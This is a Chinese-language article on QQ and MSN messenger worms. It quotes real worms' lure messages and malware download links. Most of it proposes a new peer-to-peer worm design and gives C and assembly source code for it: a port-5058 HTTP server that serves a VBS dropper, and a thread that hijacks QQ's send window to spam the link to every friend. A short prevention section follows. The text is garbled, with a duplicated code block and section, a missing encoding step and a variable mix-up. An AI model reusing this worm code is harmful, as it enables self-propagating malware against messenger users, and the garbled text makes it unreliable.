QQ蠕蟲病毒原理分析與防禦
QQ蠕蟲(qq worm virus)
背景
以QQ為代表的即時通訊軟體,在網路時代迅速而輕易地贏得了無數用戶的心,然後以更加驚人的速 度普及開去,目前,網路上使用QQ軟體的註冊人數已經超過1個億,但樹大招風,從今年病毒的發作情況來看,已經有將近100種QQ類型的病毒出現。由此可以看出,利用QQ這類即時通訊工具來進行傳播的病毒,已經逐漸成為新病毒的流行趨勢。
“愛情森林”
2002年8月25曰,瑞星全球病毒監控中心截獲了一個傳染能力極強的惡性QQ病毒——“愛情森林”(trojan.sckiss)。病毒的製作者利用QQ聊天機制,向用戶傳送“這個你去看看�很好看”的信息。如果用戶收到此信息,並點擊該連結,則會進入一個包含惡性攻擊代碼的惡意網頁,此時病毒將會被自動下載並發作。同時,病毒還會利用用戶的QQ好友名單,繼續向外擴散而且病毒會侵占系統目錄,繼續“生生不息”。“愛情森林”病毒通過QQ傳送信息之後,便開始進行本機的感染。
據悉,這種惡意網頁用JS腳本語言編寫,利用了JAVAEXPLOIT漏洞,所以不經用戶的允許,便可以悄悄自動下載“愛情森林”病毒並執行。而後此惡意網頁會修改用戶註冊表以進行破壞,並將用戶的IE標題和IE默認首頁改為:sckiss.yeah.net"target="_new">http://sckiss.yeah.net愛情森林。
“QQ偽裝專家”
另一個名叫“QQ偽裝專家”的新型惡性病毒會將真正的QQ程式改名,然後將自身偽裝成QQ程式,並在桌面上建立捷徑。用戶點擊這個捷徑後,螢幕上會出現同真QQ一樣的界面,當用戶登錄時,病毒便會將用戶的QQ號碼與密碼偷偷傳送到指定的信箱,用句QQ迷們的語言就是,“你的QQ被黑了!”;
在原理上,這個病毒和QQ毫無關係,只是利用人們對QQ 的熟悉性來欺騙用戶而已。
必須注意的是,微軟力推的一款即時通訊軟體MSN Messenger,因為它與Windows系統的完美結合,用戶群不在少數。2002年10月9曰下午,金山公司反病毒應急處理中心截獲了一例通過MSN聊天工具進行廣泛傳播的電腦病毒“GFleming”,經證實,這是世界上第一例通過微軟即時聊天工具MSN Messager進行大規模傳播的電腦病毒。“GFleming”病毒的傳播非常的迅速,一旦用戶感染該病毒,該蠕蟲會首先查看用戶是否安裝了MSN Messager並且已經登錄。若用戶已經登錄,該蠕蟲就會通過MSN Messager的對話視窗向所有聯繫人名單中的人傳送欺騙性的信息:
Hey!! Could you please check out this program for me? I made it myself and want people to test it. Its a readme with the program that explains what it does! http://home.no.net/downl0ad/BR2002.exe <-- There you can download it! give me advices on what to upgrade please!!
收到該信息的用戶不小心點擊這個連結執行了這個蠕蟲的話,蠕蟲就會繼續通過MSN Messager向其他聯繫人傳送同樣的信息,引起連鎖反應,造成病毒的快速傳播。
‘Cool Worm‘的病毒的欺騙訊息是:"Go To http://www.masenko-media.net/cool.html NoW !!!"點擊這個連線會打開一個帶有惡意Javascript程式的網站,他會搶奪受害者的好友名單,並且先每個人傳送一個相同的邀請信息。這個信息同時也將地址傳送電子郵件到名為[email protected]的信箱中。
類似的病毒還有幾例,原理相同,這裡不再一一枚舉。
欺騙信息一般是邀請你去傳送過來的網址去看看,如“看看這個,好東西 http://www.xxx.com/cool.html"。
從傳播手段上看,病毒傳播是一種C/S模式,即每台機器都是從指定的伺服器下載,比如GFleming是,http://home.no.net;QQ密碼記錄器是http://xmc.nease.net;‘Cool Worm‘是http://www.masenko-media.net/.這種方法的局限性是,一旦網站被封閉,病毒也就壽終正寢,不攻自滅了。
基於P2P思想QQ蠕蟲的原理
為了增強蠕蟲的健壯性,這裡提出一種新思路:每感染一台機器後,都會在本機創建一個最簡單的http伺服器,然後啟動新執行緒,在新執行緒中尋找QQ的”傳送訊息“視窗,一旦找到,通過設定訊息文本框的內容並控制”傳送訊息(&S)"按鈕來達到傳送欺騙性訊息的目的。
當對方收到訊息,點擊連線後,就會啟動IE,IE和第一台機器的http伺服器通信,下載html頁面並執行其中的vbs代碼,vbs將自身拷貝到機器上並運行,蠕蟲完成一次傳播。然後在新感染的機器上創建http伺服器,再向他的好友傳送訊息。
主要代碼如下(為節約篇幅,省略不必要的初始化和錯誤判斷):
⒈ http伺服器的實現
LisenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saServer.sin_family = AF_INET;
saServer.sin_port = htons(5058);
saServer.sin_addr.s_addr = INADDR_ANY;
bind(LisenSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));
listen(LisenSocket,SOMAXCONN);
CreateThread(0,0,(LPTHREAD_START_ROUTINE)SendQQMsg,0,0,0);
while(TRUE)
{
peerSocket=accept(LisenSocket,(LPSOCKADDR)&SockAddr,&nLen);SendFile();
}
void SendFile()
{
BYTE buf[1024];
DWORD ByteRead;
::SetFilePointer(hFile,0,0,FILE_BEGIN);
ReadFile(hFile,buf,1024,&ByteRead,0);
while(ByteRead)
{
send(peerSocket,(const char *)buf,ByteRead,0);
ReadFile(hFile,buf,1024,&ByteRead,0);
}
closesocket(peerSocket);
}
伺服器在5058連線埠阻塞等待,不使用80,是避免防火牆對80號連線埠的敏感和限制。接受到來自遠程的連線(由ie做客戶端)後,把html檔案傳送過去,關閉連線。
⒉ 操作QQ執行緒的實現
1) 獲得本機IP位址。
2) 等待出現“傳送訊息”視窗。
3) 獲得這個視窗的QQ號,也就是這個好友的QQ號。判斷是否已經向這個號傳送過,如果是,則轉1),不是則傳送,並在註冊表中登記。
4) 獲得文本區句柄,設定新的訊息。
5) 向“傳送訊息(&S)"按鈕傳送BM_CLICK訊息,傳送這條信息。轉1)。
DWORD WINAPI SendQQMsg(LPVOID lpParameter)
{
HKEY hKey;
char buf[256];
HWND hWnd,hTextWnd,hWndQQNumber,hWndButton;
char QQRoot[]= "Software\\QQNums\\";
char QQRootNumber[128];
int QQNumberID=0x0DF;
POINT p={50,280};
struct hostent * lpHostEnt;
char szLocalIP[30]; //形如http://202.118.224.2:5058
gethostname(buf,256);
lpHostEnt = ::gethostbyname (buf);
struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;
::lstrcpy(szLocalIP,"http://");
::lstrcat(szLocalIP,inet_ntoa(*ia));
::lstrcat(szLocalIP,":5058");
while(TRUE)
{
::Sleep(1000);
hWnd = ::FindWindow(0,"傳送訊息");
if(hWnd==NULL)
continue;
hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);
if(hWndQQNumber==NULL)
continue;
::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);
::lstrcpy(QQRootNumber,QQRoot);
::lstrcat(QQRootNumber,buf);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)
{
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);
hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINⅥSIBLE);
::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);
hWndButton = FindWindowEx(hWnd,0,0,"送訊息(&S)");
::SendMessage(hButton,BM_CLICK,0,0);
}
}
return 1;
}
⒊ 傳送html頁面的實現.
因為IE識別的是html,而不能執行exe.所以,html要包含exe.然後利用html內嵌的vbs,生成並運行exe,從而達到傳播的目的。
可是,對exe編碼和解碼具有一定的難度,如何才能使代碼最簡練,最節約空間呢?這裡給出一種新思路。
5) 向“傳送訊息(&S)"按鈕傳送BM_CLICK訊息,傳送這條信息。轉1)。
DWORD WINAPI SendQQMsg(LPVOID lpParameter)
{
HKEY hKey;
char buf[256];
HWND hWnd,hTextWnd,hWndQQNumber,hWndButton;
char QQRoot[]= "Software\\QQNums\\";
char QQRootNumber[128];
int QQNumberID=0x0DF;
POINT p={50,280};
struct hostent * lpHostEnt;
char szLocalIP[30]; //形如http://202.118.224.2:5058
gethostname(buf,256);
lpHostEnt = ::gethostbyname (buf);
struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;
::lstrcpy(szLocalIP,"http://");
::lstrcat(szLocalIP,inet_ntoa(*ia));
::lstrcat(szLocalIP,":5058");
while(TRUE)
{
::Sleep(1000);
hWnd = ::FindWindow(0,"傳送訊息");
if(hWnd==NULL)
continue;
hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);
if(hWndQQNumber==NULL)
continue;
::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);
::lstrcpy(QQRootNumber,QQRoot);
::lstrcat(QQRootNumber,buf);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)
{
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);
hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINⅥSIBLE);
::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);
hWndButton = FindWindowEx(hWnd,0,0,"送訊息(&S)");
::SendMessage(hButton,BM_CLICK,0,0);
}
}
return 1;
}
⒋ 傳送html頁面的實現.
因為IE識別的是html,而不能執行exe.所以,html要包含exe.然後利用html內嵌的vbs,生成並運行exe,從而達到傳播的目的。
可是,對exe編碼和解碼具有一定的難度,如何才能使代碼最簡練,最節約空間呢?這裡給出一種新思路。
5.這樣,當機器處於區域網路時,會向好友發出http://trueip:80的訊息,對方則向trueip發出連線而不是區域網路的機器,和DRDos相似。代碼如下:
IsActiveIP PROC IP : DWORD
LOCAL VSocket : DWORD
push ecx
push IPPROTO_TCP
push SOCK_STREAM
push AF_INET
call socket
mov VSocket,eax
push IP
pop TestIP
push sizeof(sockaddr) ; Size of connect strucure=16
call IAI1 ; Connect structure
dw AF_INET ; Family
db 0,80 ; Port number,avoid htons :)
TestIP dd 0 ; in_addr of server
db 8 dup(0) ; Unused
IAI1:
push VSocket
call connect ;ret 0 if sucess
push eax
push VSocket
call closesocket
pop eax
pop ecx
ret 4
IsActiveIP ENDP
SelectTrueIP:
push 64
pop ecx
mov esi,offset TrueIPList
STI1: lodsd
push eax
call IsActiveIP ;ret 0 if sucess
.if eax == 0
sub esi,4
lodsd
jmp STIExit
.else
loop STI1
.endif
xor eax,eax
STIExit:
ret
UpdateTrueIP PROC TrueIP : DWORD
push 64
pop ecx
mov esi,offset TrueIPList
UT1: lodsd
.if eax == 0
push TrueIP
pop [esi-4]
jmp UTExit
.else
loop UT1
.endif
push 64
pop ecx
mov esi,offset TrueIPList
UT2:
lodsd
push eax
call IsActiveIP ;ret 0 if sucess
.if eax != 0
push TrueIP
pop [esi-4]
jmp UTExit
.else
loop UT1
.endif
UTExit:
mov eax,TrueIP
ret 4
UpdateTrueIP ENDP
TrueIPList db 256 dup (0)
擴展
若把這種方法同時也套用到ICQ,MSN等IM軟體,http伺服器不變,只是查找傳送訊息視窗有所不同,但原理一樣,只需要少量修改。再有一個SendMSNMsg和SendICQMsg執行緒即可。考慮到IM軟體同時線上人數之多,再輔助以郵件等常規手段,傳播速度十分可觀。
防範措施
注意線上傳輸
:常用的通訊軟體如ICQ、QQ、MSN Message均提供了線上傳輸功能,來源不可靠的傳輸內容請拒絕接收;即便可靠,接收後也要經過防毒軟體的掃描方能運行。
小心頁面鏈
接:
如果用戶在使用聊天軟體時不小心上當,點擊了不明網頁連結,電腦就會在使用者完全不知情的情況下,從許多網站下載檔案並自動運行。所以,千萬別打開陌生人傳來的頁面連結!如果是好友送來的連線,要詢問、確認後打開。這不是誰的漏洞,就象DDos攻擊一樣,是不可避免的正常危機。
結束語
QQ和MSN受到病毒侵襲的事件再一次強調了網際網路世界真實的一面——任何流行的電腦程式最終都會成為被攻擊的目標。
今後,我們不排除會有像CIH這樣的惡性病毒通過QQ、ICQ、MSN等渠道進行廣泛傳播的可能,因此,加強對即時通訊軟體的監控和保護是當務之急。
病毒正試圖把觸角延伸到所有可能的領域。與剛剛開始的攻擊即時通訊軟體的病毒一樣,雖然手機病毒,PDA病毒等都還屬於新興“毒種”,病毒傳播、侵害模式尚且屬於萌芽狀態,但是稍許的掉以輕心,都可能會導致巨大的不可挽回的損失。防患於未然,才是反病毒的大計。